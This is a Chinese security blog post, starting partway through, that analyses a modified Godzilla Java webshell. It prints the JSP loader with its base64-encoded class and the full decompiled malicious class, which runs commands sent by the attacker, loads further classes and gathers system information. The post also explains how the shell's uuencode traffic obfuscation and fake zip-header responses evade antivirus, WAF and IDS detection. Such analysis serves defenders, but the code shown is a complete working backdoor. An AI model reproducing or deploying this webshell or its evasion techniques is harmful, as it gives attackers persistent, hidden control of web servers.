BBwDWAP8ABAABBwDVAAEHANYAAQEVAMYAAQC7AAABDwADAAUAAABfKhKZtgCaTCoSm7YACE0rxgBKLMYARrsAnFkqtgAKtgCdtwCeTi0rtgCfOgQqtAAWLBkEtgBUVxJ1tgATsE4qtAAWLLYAF8YACxJ1tgATpwAKLbYAoLYAE7ASobYAE7AAAQAWADwAPQAUAAMAvAAAACoACgAAAUAABwFBAA4BQgAWAUQAJQFFACwBRgA3AUcAPQFIAD4BSQBZAUwAvQAAAD4ABgAlABgA5AC/AAMALAARAOUAzgAEAD4AGwDNAMoAAwAAAF8AvgC/AAAABwBYAMEAtgABAA4AUQDRANAAAgDSAAAAIgAE/wA9AAMHANUHAA4HANMAAQcA1vwAEwcBFkYHAA76AAAAAAEXARgAAQC7AAAAsQAEAAYAAAAhKiu2AAosLbYAbToFGQXGAAwZBSsZBLYAEbCnAAU6BQGwAAEAAAAZAB0AFAADALwAAAAaAAYAAAFSAAwBUwARAVQAGgFXAB0BVgAfAVkAvQAAAEgABwAMAA4AzQDIAAUAHwAAAMsAygAFAAAAIQC+AL8AAAAAACEAwQCyAAEAAAAhANEA0AACAAAAIQDkARkAAwAAACEA5QEaAAQA0gAAAAgAAxpCBwDWAQAAARsBHAABALsAAADCAAMABgAAACcBOgQrxgAgKywttgCiOgQZBAS2AKMBTKf/7DoFK7YApEyn/+IZBLAAAQAHABcAGgAUAAMAvAAAACoACgAAAV0AAwFfAAcBYQAPAWIAFQFjABcBZgAaAWQAHAFlACEBZgAkAWkAvQAAAD4ABgAcAAUAywDKAAUAAAAnAL4AvwAAAAAAJwDBAM4AAQAAACcA0QDQAAIAAAAnAOQBGQADAAMAJADlAMgABADSAAAADQAD/AADBwDUVgcA1gkACQEdAR4AAQC7AAAAYwADAAIAAAArKgMzEQD/fioEMxEA/34QCHiAKgUzEQD/fhAQeIAqBjMRAP9+EBh4gDwbrAAAAAIAvAAAAAoAAgAAAW0AKQFuAL0AAAAWAAIAAAArAR8AtgAAACkAAgDBANsAAQAJASABCQACALsAAAGkAAYABQAAAKABTBKluACmTSwSpwS9ABhZAxMAJFO2AAwBBL0AZVkDKlO2ABHAAA7AAA5MpwBzTRKouACmTi0SqQG2AAwtAbYAEToEGQS2AAoSqgS9ABhZAxMAJFO2AAwZBAS9AGVZAypTtgARwAAOwAAOTKcAM04Sq7gApjoEGQQSrAS9ABhZAxMAJFO2AAwZBLYAGgS9AGVZAypTtgARwAAOwAAOTCuwAAIAAgArAC4AFAAvAGsAbgAUAAQAvAAAADYADQAAAXEAAgFzAAgBdAArAX8ALgF1AC8BdwA1AXgAQwF5AGsBfgBuAXsAbwF8AHYBfQCeAYAAvQAAAFIACAAIACMBIQDOAAIANQA2ASIAzgADAEMAKAEjALIABAB2ACgBIgDOAAQAbwAvASQAygADAC8AbwD/AMoAAgAAAKABJQDQAAAAAgCeASYAtgABAScAAAAgAAMACAAjASEBKAACADUANgEiASgAAwB2ACgBIgEoAAQA0gAAACgAA/8ALgACBwDTBwAOAAEHANb/AD8AAwcA0wcADgcBFgABBwDW+gAvAO0AAAAEAAEAFAABASkAAAACASo=";

byte[] var2=null;
try {
   Class z=Thread.currentThread().getContextClassLoader().loadClass("com.sun.org.apache.xml.internal.security.utils.Base64");
   var2 = (byte[])z.getMethod("decode"), new Class[] {String.class }).invoke(null, new Object[]{ti});
}catch (Exception e)
   {
      try {
         Class<?> zz = Thread.currentThread().getContextClassLoader().loadClass("java.util.Base64");Object zzd = zz.getMethod("getDecoder", null).invoke(zz, null);
         var2 = (byte[])zzd.getClass().getMethod("decode", new Class[] { String.class }).invoke(zzd, new Object[] { ti });
      } catch (Exception exception) {}
   }

Class PB=Class.forName("com.sun.jmx.remote.util.OrderClassLoaders");

java.lang.reflect.Constructor  c=PB.getDeclaredConstructor(new Class[]{ClassLoader.class,ClassLoader.class});
c.setAccessible(true);
Object tadfasf=Thread.currentThread().getContextClassLoader();
Object  d=c.newInstance(new Object[]{tadfasf,tadfasf});
java.lang.reflect.Method lll = PB.getSuperclass().getDeclaredMethod("defineClass",new Class[]{byte[].class,int.class,int.class});
lll.setAccessible(true);
Class zz=(Class) lll.invoke(d, new Object[]{var2, 0, var2.length});
session.setAttribute("ti",zz);
}


if (session.getAttribute("ti")!=null)
{
   java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(request.getInputStream()));
   String line = null;
   StringBuilder sb = new StringBuilder();
   while((line = br.readLine())!=null){
   sb.append(line);}
   String yuan=sb.toString();
   String datas="";
   String dd[]=yuan.split("&");
   for(int i=0;i<dd.length;i++)
   {
      String tmp=dd[i].substring(dd[i].indexOf("=")+1);
      datas=datas+tmp;
   }
   datas=datas.replace("m","%");
   datas=java.net.URLDecoder.decode(datas);
   byte[] poc_data=datas.getBytes();
   request.setAttribute("parameters",poc_data);
   java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();
   Object f=((Class)session.getAttribute("ti")).newInstance();
   f.equals(arrOut);
   f.equals(pageContext);
   f.toString();
   String res=System.currentTimeMillis()+".zip";
   String down="attachment; filename="+res;
   response.setHeader("content-disposition",down);
   ServletOutputStream outt=response.getOutputStream();
   outt.write(arrOut.toByteArray());
   outt.flush();
   outt.close();
   }
}catch (Exception e)
{}
]]></jsp:scriptlet>
</jsp:root>

2、和哥斯拉以及冰蝎不一样,这里的webshell里面没有自定义用于加载恶意类字节码Classloader,而是借助了com.sun.jmx.remote.util.OrderClassLoaders这个类来实现加载恶意字节码,通过Thread.currentThread().getContextClassLoader()这个classloader来初始化OrderClassLoader,然后调用其defineClass方法,其实就是调取其父类LoaderClass的defineClass方法,并且其调用defineClass方法加载字节码来获取恶意类class对象的时候都是通过反射的方式来调用的,如下:

冰蝎:

哥斯拉:

通过以上两点骚操作,实现了vt全绿,免杀白嫖起来。

2、命令执行的实现

和哥斯拉一样,这里实现命令执行是利用实例化后的恶意类,调用里面的equal方法和toStirng方法实现,分别实现对通信流量的”解密“、命令执行和响应结果的”加密“,但是这里需要注意的是该webshell中加密和解密都没相关加密算法如出现在哥斯拉和冰蝎里面的aes加密算法,这个也是该webshell魔改后的巧妙之处(下午分析相关流量特征的时候我们详细讲以及在思考为什么不用),接下来我们直接看恶意类:

该类base64解码还原出来之后如下:

package priv.ga0weI.modifiedgadzilla;


import com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimeUtility;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.zip.GZIPOutputStream;
import javax.servlet.ServletRequest;

public class SimpleVer extends ClassLoader {
    HashMap parameterMap = new HashMap();
    HashMap sessionMap;
    Object servletContext;
    Object servletRequest;
    Object httpSession;
    byte[] requestData;
    ByteArrayOutputStream outputStream;

    public SimpleVer() {
    }

    public SimpleVer(ClassLoader var1) {
        super(var1);
    }

    public Class g(byte[] var1) {
        return super.defineClass(var1, 0, var1.length);
    }

    public byte[] run() {
        String var1 = this.get("evalClassName");
        String var2 = this.get("methodName");
        if (var2 != null) {
            if (var1 == null) {
                try {
                    Method var10 = this.getClass().getMethod(var2, (Class[])null);
                    return var10.getReturnType().isAssignableFrom(byte[].class) ? (byte[])((byte[])((byte[])((byte[])var10.invoke(this, (Object[])null)))) : "this method returnType not is byte[]".getBytes();
                } catch (Exception var6) {
                    return "error".getBytes();
                }
            } else {
                try {
                    Class var5 = (Class)this.sessionMap.get(var1);
                    if (var5 == null && this.httpSession != null) {
                        var5 = (Class)this.sessionMap.get(var1);
                    }

                    if (var5 != null) {
                        Object var6 = var5.newInstance();
                        var6.equals(this.parameterMap);
                        var6.toString();
                        Object var7 = this.parameterMap.get("result");
                        if (var7 != null) {
                            return byte[].class.isAssignableFrom(var7.getClass()) ? (byte[])((byte[])((byte[])((byte[])var7))) : "return typeErr".getBytes();
                        } else {
                            return new byte[0];
                        }
                    } else {
                        return "evalClass is null".getBytes();
                    }
                } catch (Exception var7) {
                    return "null".getBytes();
                }
            }
        } else {
            return "method is null".getBytes();
        }
    }

    public void formatParameter() {
        String uu_head = "begin 644 encoder.buf\n";
        String uu_foot = " \nend\n";
        String todecode = new String(this.requestData);
        todecode = todecode.replaceAll("b", "\n").replaceAll("a", "=").replaceAll("c", "&").replaceAll("e", "'").replaceAll("d", "\"").replaceAll("f", "<").replaceAll("g", ">").replaceAll("h", ";").replaceAll("i", ":").replace("j", "$").replaceAll("k", "%").replace("l", "^");
        todecode = uu_head + todecode + uu_foot;
        byte[] var1 = null;
//        Object var5 = null;

        try {
            byte[] uu_tmp = Uudecode(todecode.getBytes());
            uu_tmp = deleteZero(uu_tmp).getBytes();
            var1 = base64Decode((new String(uu_tmp)).substring(13));
        } catch (Exception var14) {
        }

        ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();
        String var4 = null;
        byte[] var5 = new byte[4];
//        Object var10 = null;

        try {
            while(true) {
                while(true) {
                    byte var8 = (byte)var2.read();
                    if (var8 == -1) {
                        var3.close();
                        var2.close();
                        return;
                    }

                    if (var8 == 2) {
                        var4 = new String(var3.toByteArray());
                        var2.read(var5);
                        int var9 = bytesToInt(var5);
                        byte[] var10 = new byte[var9];
                        int var11 = 0;

                        while((var11 += var2.read(var10, var11, var10.length - var11)) < var10.length) {
                        }

                        this.parameterMap.put(var4, var10);
                        var3.reset();
                    } else {
                        var3.write(var8);
                    }
                }
            }
        } catch (Exception var15) {
        }
    }

    public static byte[] Uudecode(byte[] todecode) throws Exception {
        InputStream inputStream = new ByteArrayInputStream(todecode);
        InputStream inputStreams = MimeUtility.decode(inputStream, "uuencode");
        byte[] bytes = new byte[inputStreams.available()];
        inputStream.read(bytes);
        return bytes;
    }

    public static String deleteZero(byte[] todelete) throws Exception {
        int length = 0;

        for(int i = 0; i < todelete.length; ++i) {
            if (todelete[i] == 0) {
                length = i;
                break;
            }
        }

        return new String(todelete, 0, length);
    }

    public boolean equals(Object var1) {
        if (var1 != null && this.handle(var1)) {
            this.formatParameter();
            return true;
        } else {
            return false;
        }
    }

    public boolean handle(Object var1) {
        if (ByteArrayOutputStream.class.isAssignableFrom(var1.getClass())) {
            this.outputStream = (ByteArrayOutputStream)var1;
            return false;
        } else {
            this.handlePayloadContext(var1);
            if (this.getSessionAttribute("sessionMap") != null) {
                this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap");
            } else {
                this.sessionMap = new HashMap();
                this.setSessionAttribute("sessionMap", this.sessionMap);
            }

            if (this.servletRequest != null) {
                Object var2 = this.getMethodAndInvoke(this.servletRequest, "getAttribute", new Class[]{String.class}, new Object[]{"parameters"});
                if (var2 != null && byte[].class.isAssignableFrom(var2.getClass())) {
                    this.requestData = (byte[])((byte[])((byte[])((byte[])var2)));
                    if (this.requestData == null) {
                        return false;
                    }
                }
            }

            this.parameterMap.put("sessionMap", this.sessionMap);
            this.parameterMap.put("servletRequest", this.servletRequest);
            this.parameterMap.put("servletContext", this.servletContext);
            this.parameterMap.put("httpSession", this.httpSession);
            return true;
        }
    }

    private void handlePayloadContext(Object var1) {
        try {
            Method var2 = this.getMethodByClass(var1.getClass(), "getRequest", (Class[])null);
            Method var3 = this.getMethodByClass(var1.getClass(), "getServletContext", (Class[])null);
            Method var4 = this.getMethodByClass(var1.getClass(), "getSession", (Class[])null);
            if (var2 != null && this.servletRequest == null) {
                this.servletRequest = var2.invoke(var1, (Object[])null);
            }

            if (var2 == null && var1 instanceof ServletRequest) {
                this.servletRequest = var1;
            }

            if (var3 != null && this.servletContext == null) {
                this.servletContext = var3.invoke(var1, (Object[])null);
            }

            if (var4 != null && this.httpSession == null) {
                this.httpSession = var4.invoke(var1, (Object[])null);
            }
        } catch (Exception var5) {
        }

    }

    public String toString() {
        String var1 = "";

        try {
            ByteArrayOutputStream var2 = this.outputStream == null ? new ByteArrayOutputStream() : this.outputStream;
            if (this.parameterMap.get("evalNextData") != null) {
                this.run();
                this.requestData = (byte[])((byte[])((byte[])((byte[])this.parameterMap.get("evalNextData"))));
                this.parameterMap.clear();
                this.parameterMap.put("httpSession", this.httpSession);
                this.parameterMap.put("servletRequest", this.servletRequest);
                this.parameterMap.put("servletContext", this.servletContext);
                this.formatParameter();
            }

            byte[] origenres = this.run();
            if ((new String(origenres)).equals("ok")) {
                origenres = "".getBytes();
            } else {
                origenres = gzipE(origenres);
                byte[] docx_h = new byte[]{80, 75, 3, 4, 20, 0, 6};
                origenres = this.byteMerger(docx_h, origenres);
            }

            var2.write(origenres);
            var1 = this.outputStream == null ? "" : "";
            var2.close();
            this.requestData = null;
        } catch (Exception var5) {
        }

        this.parameterMap.clear();
        return var1;
    }

    public static byte[] gzipE(byte[] data) {
        try {
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            GZIPOutputStream gzipOutputStream = new GZIPOutputStream(outputStream);
            gzipOutputStream.write(data);
            gzipOutputStream.close();
            return outputStream.toByteArray();
        } catch (Exception var3) {
            throw new RuntimeException(var3);
        }
    }

    public byte[] byteMerger(byte[] bt1, byte[] bt2) {
        byte[] bt3 = new byte[bt1.length + bt2.length];
        System.arraycopy(bt1, 0, bt3, 0, bt1.length);
        System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
        return bt3;
    }

    public String get(String var1) {
        try {
            return new String((byte[])((byte[])((byte[])this.parameterMap.get(var1))));
        } catch (Exception var3) {
            return null;
        }
    }

    public byte[] getByteArray(String var1) {
        try {
            return (byte[])((byte[])((byte[])((byte[])this.parameterMap.get(var1))));
        } catch (Exception var3) {
            return null;
        }
    }

    public String listFileRoot() {
        File[] var1 = File.listRoots();
        String var2 = new String();

        for(int var3 = 0; var3 < var1.length; ++var3) {
            var2 = var2 + var1[var3].getPath();
            var2 = var2 + ";";
        }

        return var2;
    }

    public Object getSessionAttribute(String var1) {
        return this.httpSession != null ? this.getMethodAndInvoke(this.httpSession, "getAttribute", new Class[]{String.class}, new Object[]{var1}) : null;
    }

    public void setSessionAttribute(String var1, Object var2) {
        if (this.httpSession != null) {
            this.getMethodAndInvoke(this.httpSession, "setAttribute", new Class[]{String.class, Object.class}, new Object[]{var1, var2});
        }

    }

    public byte[] getBasicsInfo() {
        try {
            Enumeration var1 = System.getProperties().keys();
            String var2 = new String();
            var2 = var2 + "FileRoot : " + this.listFileRoot() + "\n";
            var2 = var2 + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/\n";
            var2 = var2 + "CurrentUser : " + System.getProperty("user.name") + "\n";
            var2 = var2 + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n";

            try {
                String var3 = System.getProperty("java.io.tmpdir");
                char var4 = var3.charAt(var3.length() - 1);
                if (var4 != '\\' && var4 != '/') {
                    var3 = var3 + File.separator;
                }

                var2 = var2 + "TempDirectory : " + var3 + "\n";
            } catch (Exception var5) {
            }

            return var2.getBytes();
        } catch (Exception var6) {
            return "error".getBytes();
        }
    }

    public byte[] include() {
        byte[] var1 = this.getByteArray("binCode");
        String var2 = this.get("codeName");
        if (var1 != null && var2 != null) {
            try {
                SimpleVer var3 = new SimpleVer(this.getClass().getClassLoader());
                Class var4 = var3.g(var1);
                this.sessionMap.put(var2, var4);
                return "ok".getBytes();
            } catch (Exception var5) {
                return this.sessionMap.get(var2) != null ? "ok".getBytes() : var5.getMessage().getBytes();
            }
        } else {
            return "No parameter binCode,codeName".getBytes();
        }
    }

    Object getMethodAndInvoke(Object var1, String var2, Class[] var3, Object[] var4) {
        try {
            Method var5 = this.getMethodByClass(var1.getClass(), var2, var3);
            if (var5 != null) {
                return var5.invoke(var1, var4);
            }
        } catch (Exception var6) {
        }

        return null;
    }

    Method getMethodByClass(Class var1, String var2, Class[] var3) {
        Method var4 = null;

        while(var1 != null) {
            try {
                var4 = var1.getDeclaredMethod(var2, var3);
                var4.setAccessible(true);
                var1 = null;
            } catch (Exception var6) {
                var1 = var1.getSuperclass();
            }
        }

        return var4;
    }

    public static int bytesToInt(byte[] var0) {
        int var1 = var0[0] & 255 | (var0[1] & 255) << 8 | (var0[2] & 255) << 16 | (var0[3] & 255) << 24;
        return var1;
    }

    public static byte[] base64Decode(String bs) throws Exception {
        Object var1 = null;

        byte[] value;
        try {
            Class<?> z = Class.forName("com.sun.org.apache.xml.internal.security.utils.Base64");
            value = (byte[])((byte[])z.getMethod("decoder", String.class).invoke((Object)null, bs));
        } catch (Exception var6) {
            try {
                Class<?> zz = Class.forName("java.util.Base64");
                Object zzd = zz.getMethod("getDecoder", (Class[])null).invoke(zz, (Object[])null);
                value = (byte[])((byte[])zzd.getClass().getMethod("decode", String.class).invoke(zzd, bs));
            } catch (Exception var5) {
                Class<?> zz = Class.forName("sun.misc.BASE64Decoder");
                value = (byte[])((byte[])zz.getMethod("decodeBuffer", String.class).invoke(zz.newInstance(), bs));
            }
        }

        return value;
    }
}

该类的结构如下:

我们主要看两个方法的实现过程,因为服务端实例恶意以类之后就是调用了equals方法和toString方法如下:

1、) equal方法

public boolean equals(Object var1) {
        if (var1 != null && this.handle(var1)) {
            this.formatParameter();
            return true;
        } else {
            return false;
        }
    }

服务端首先调用的是f.equals(arrOut) 传入的变量是一个ByteArrayOutputStream对象,我们跟进该equal方法里面调用的handle方法看看:

handle():其实现如下,可以看到当传入的参数是ByteArrayOutputStream对象或者是其子类的时候,会将该对象赋给类中的outputStream对象,然后reture false结束。

服务端接下来调用的是 f.equals(pageContext),传入的是一个javax.servlet.jsp.PageContext对象(这里就是主要的”解密“通信流量的地方):

和上面一样先调用handle方法:首个if肯定不成立,进入else:

然后先调用handlePayloadContext方法,查看这个方法发现是获取pagecontext里面的相关属性,赋值给该类的servletRequest、servletContext、httpSession

继续回到handle方法里面:如下,去获取对应内容,这里的parameters属性的内容又是哪来的呢?

回到webshell中看:其实这个就是通信的请求流量的字节数组,客户端发现服务端的请求流量

继续回到handle方法里面,下面是往一个map里面放了几个要用的对象,然后返回true:

回到equal方法获取到返回值之后,if条件成立,调用this.formatParameter方法:

跟进formatParameter方法发现,这个方法就是在对获取到的requestData对象,也就是请求体的字节数组(其实在webshell里面就做过了一点替换处理,这个我们下面讲通信流量的时候说),对该字节数组做一些解码,还原工作,然后放到一个map对象里面:

返回,到这还没有执行相关命令,只是完成了还原请求流量为想要格式的流量。

接下来webshell里面调用的是: f.toString()方法

2、)toStringf方法

其实现如下,其核心处理逻辑就下面这几句:(之前学习过哥斯拉实现的师傅可能一眼就看出来这个和哥斯拉的模式是一样的,加载的类存在相关对象里面,后续的通信流量涉及的就是调用的类名,方法名等,当然也存在例外,比如加载内存马的时候,要使用为内存马”定制“的恶意类,这也是为什么哥斯拉首次连接使用的恶意类要继承Classloader并重写方法调用defineClass的原因,也是我们现在研究的webshell里面base64硬编码的恶意类也继承Classloder并重写方法调用defineClass的原因,为了后续加载扩展的类,这个过程其是就通过我们现在手上的恶意类里面include方法实现的,感兴趣的师傅可以研究下)

先获取到前面equal解密后的相关参数,这里是类名了方法名,下面要用。

然后获取到this.run()的返回值赋值给origenres,我们来看下run方法的实现,里面获取解密后得到类名的类的实例,并调用其对应解密后获得到的方法:

而其命令值的方式,就是在其对应的方法里面进行的。

接下来我们来看下目前上面我们还原出来的SimpleVer这个类存在执行哪命令的方法:

如 getBasicInfo()方法:获取到一些系统信息。

至此,该webshell实现命令执行的操作方法就分析完了。

接下来我们来看看通信流量的特征,这些通信流量如何bypass所有IDS,WAF设备的(至少笔者是这么认为的,目前市面上相关设备WAF、IDS设备应该都检测不到)

3、通信流量研究分析

这里我们先不分析实现,而是先来看下某红队,连接该webshell的时候产生的流量记录:

请求流量:

响应流量:

1、)流量分析:

请求流量

上面的请求,流量其实是非常具有迷惑性的,我当时在刚看到的时候也曾误认为是某正常业务产生,里面还存在相关参数如:password、action、token等字段

响应流量:

上的响应流量中,其实也不好判断,乍一看能看到个前面是PK...,像是个zip文件的头,后面也没有可读性,所以也不能判断出来

结论:

光从流量侧,人工都不能发现这个是个webshell文件通信流量是在执行相关命令,甚至会被误导认为是正常通信流量,所以更别说是ids设备和一些waf了,当然可能有人会说,那是不是有一些通用特征呢,被相关设备的”兜底“规则发现,遗憾的是目前来说,笔者没看到,后文思考中,我们再详细讨论这个问题。

2、)结合代码分析:

webshell中最直观的对请求流量的处理就是:

如下图,简单分析就能发现进行了操作:

1、干掉每个参数,只要每个参数对应的内容;

2、替换请求体里面字母m%

3、使用URL解码响应内容。

上面这个也是此魔改哥斯拉webshell的最关键点,其抛弃了传统Godzilla里面的java webshell使用相关加密的方式,反其道而行之,不使用加密而是使用简单但有效的混淆方式。

webshell中的处理只是第一步,上文也有分析过,后续的请求体流量是被还原出来的恶意类里面的equal方法间接的调用formatParameter()方法来解析的:

该方法实现如下:

public void formatParameter() {
        String uu_head = "begin 644 encoder.buf\n";
        String uu_foot = " \nend\n";
        String todecode = new String(this.requestData);
        todecode = todecode.replaceAll("b", "\n").replaceAll("a", "=").replaceAll("c", "&").replaceAll("e", "'").replaceAll("d", "\"").replaceAll("f", "<").replaceAll("g", ">").replaceAll("h", ";").replaceAll("i", ":").replace("j", "$").replaceAll("k", "%").replace("l", "^");
        todecode = uu_head + todecode + uu_foot;
        byte[] var1 = null;
//        Object var5 = null;

        try {
            byte[] uu_tmp = Uudecode(todecode.getBytes());
            uu_tmp = deleteZero(uu_tmp).getBytes();
            var1 = base64Decode((new String(uu_tmp)).substring(13));
        } catch (Exception var14) {
        }

        ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();
        String var4 = null;
        byte[] var5 = new byte[4];
//        Object var10 = null;

        try {
            while(true) {
                while(true) {
                    byte var8 = (byte)var2.read();
                    if (var8 == -1) {
                        var3.close();
                        var2.close();
                        return;
                    }

                    if (var8 == 2) {
                        var4 = new String(var3.toByteArray());
                        var2.read(var5);
                        int var9 = bytesToInt(var5);
                        byte[] var10 = new byte[var9];
                        int var11 = 0;

                        while((var11 += var2.read(var10, var11, var10.length - var11)) < var10.length) {
                        }

                        this.parameterMap.put(var4, var10);
                        var3.reset();
                    } else {
                        var3.write(var8);
                    }
                }
            }
        } catch (Exception var15) {
        }
    }

1、实现对相关字符的替换,替换完成之后,添加相关头尾格式,为接下来的解码做准备

2、可以看出这里流量是被uuencode了,所以这里是uudecode(uuencode是unix中发送邮件时来将二进制文件转换成可见字符文本字样的编码,从而可以通过邮件直接发送二进制文件的内容),然后通过deleteZero方法,这个方法是获取到字节码为0之前的内容,最后干掉前面13位,得到最后的结果:

3、在这之后就进入了最后一个阶段了,最后一个个读字节然后做处理,如下:

这里我不详细解释他在干嘛了,就是个定义的格式,在这反格式化,学习过Godzilla的师傅应该很眼熟,这里和Godzilla里面的格式化是一样的,其实就算这个解不出来好像也能看个大概,这里就不过多叙述了。

至此,客户端请求服务端的请求流量就研究清楚了,不难写这个客户端的人在可

”解密"出来的效果如下:

响应流量的话是在恶意类里面的toStirng方法中对其进行处理的:通过run执行后返回响应流量,如果不是Ok的话就直接gzip压缩,然后加个6个字节在头部,这个几个字节码其实就是zip文件格式的头,结合上文看到的响应流量,所以其响应流量就是简单的gizp格式压缩了下,然后加了个zip头:

至此,这个魔改的哥斯拉webshell就分析完了。

0x03 思考以及提升

1、为什么该马可以bypass流量侧相关设备

​ 自从冰蝎webshell管理工具出来之后,可以说颇受安全从业人员欢迎,其通过密码学对称加密方法将命令执行的请求流量以及相关响应流量加密,从而使其通信流量难以被发现,但是随着时间的推移,冰蝎2、冰蝎3、哥斯拉等通过AES对流量进行加密的webshell慢慢的也被能相关的安全厂商的安全设备检测到了,加密后的通信流量会被一些通用规则匹配(比如aes加密之后流量中的基本上可见字符和不可见字符的比例是对半开,ps:我也不知道为什么,反正我是想不通,aes加密后的流量按道理来说肯定都是随机的(二进制0、1基本各占一半),因为加密结果的随机性肯定也是一款加密算法好坏的衡量指标之一,AES现在作为国际通用公认的对称加密算法肯定是能保证这点的,ASCII编码中的可见字符和不可见字符的比例是95:32,所以我不能理解为啥会这样,但是貌似实际情况就是上面提到的55开。所以那我们可以通过这个来检测aes流量来实现通用类告警)到从而触发 疑似冰蝎、哥斯拉webshell流量告警,尤其是原装的webshell工具,很多初学安全入门的人,基本都是拿着别人师傅写好的工具直接用,并不去修改相关配置和相关信息,从而也使得安全厂商抓住原装工具的一些特征,比如ua、ct、冰蝎2存在密钥协商等等来检测,进而结合研判;

​ 其实不止如此,除此之外此类工具(冰蝎、哥斯拉)在设计之初也存在一些缺陷,比如其使用的加密算法是AES的ECB模式,这个模式也叫电码本模式,相同明文会被加密成相同的密文,并且其是一个一个分组分块的加密的,也就是明文每128位01串只要相同就会被加密成相同的密文,因此安全厂商也可以更具相相关特征做匹配,比如当我们使用默认密码的时候,我们可以通过建立特征库去实现一段段检测相关流量来实现检测此webshell,甚至其本身存在安全问题,也就是中间人攻击。

​ 所以其实慢慢的加密并不香了,反而容易引起怀疑,所以说如果我们另立门派,就和本文分析的这个魔改的哥斯拉一样,不使用加密方式,而是使用一些之前没怎么见过的混淆方式去处理通信的流量(本文中的webshell使用的是一些字符的替换以及uuencoder编码等下次我们可以又换一个比如xxdecode所以这个是很灵活的,这些编码比较少见),那么其实很多设备都是检测不到的;进一步再加上一些伪装,好比本文中的webshell其客户端肯定实现了随机分割通信流量并加入一些业务场景常见的字段进去(password、toke之类的),就进一步可以做到去bypass一些研判人员了。

2、为什么这个马能实现vt全绿免杀?

个人认为这个魔改的哥斯拉里面没有自定义ClassLoader是很大一部分原理,其是通过OrderClassLoaders这个类,调用其defineClass方法其实就是调用其父类的ClassLoader的defineClass方法来加载恶意字节码。因为像冰鞋、哥斯拉其实都是自定义的ClassLoader,估计这个特征已经被收录到了很多检测引擎中了。

还有一部分原因就是其很多关键类名、关键方法名都是编码,并且其在空白的地方插入了很多unicoder编码的空白符来进行混淆。

0x04 总结

其实对于webshell流量检测这块来说,真的是不好做,厉害的攻击者都是自己写工具,所以这种场景下不要过度依赖安全设备,提高人员的安全能力、安全素质才是解决问题的根本途径,在分析这个样本之前,我也是井底之蛙,一叶障目罢了

借助罗翔老师的一句话:承认自己的无知是开启智慧的大门!
文中若出现错误地方,请各位师傅斧正

评论 0

挤眼 亲亲 咆哮 开心 想想 可怜 糗大了 委屈 哈哈 小声点 右哼哼 左哼哼 疑问 坏笑 赚钱啦 悲伤 耍酷 勾引 厉害 握手 耶 嘻嘻 害羞 鼓掌 馋嘴 抓狂 抱抱 围观 威武 给力
提交评论

清空信息
关闭评论
sitemap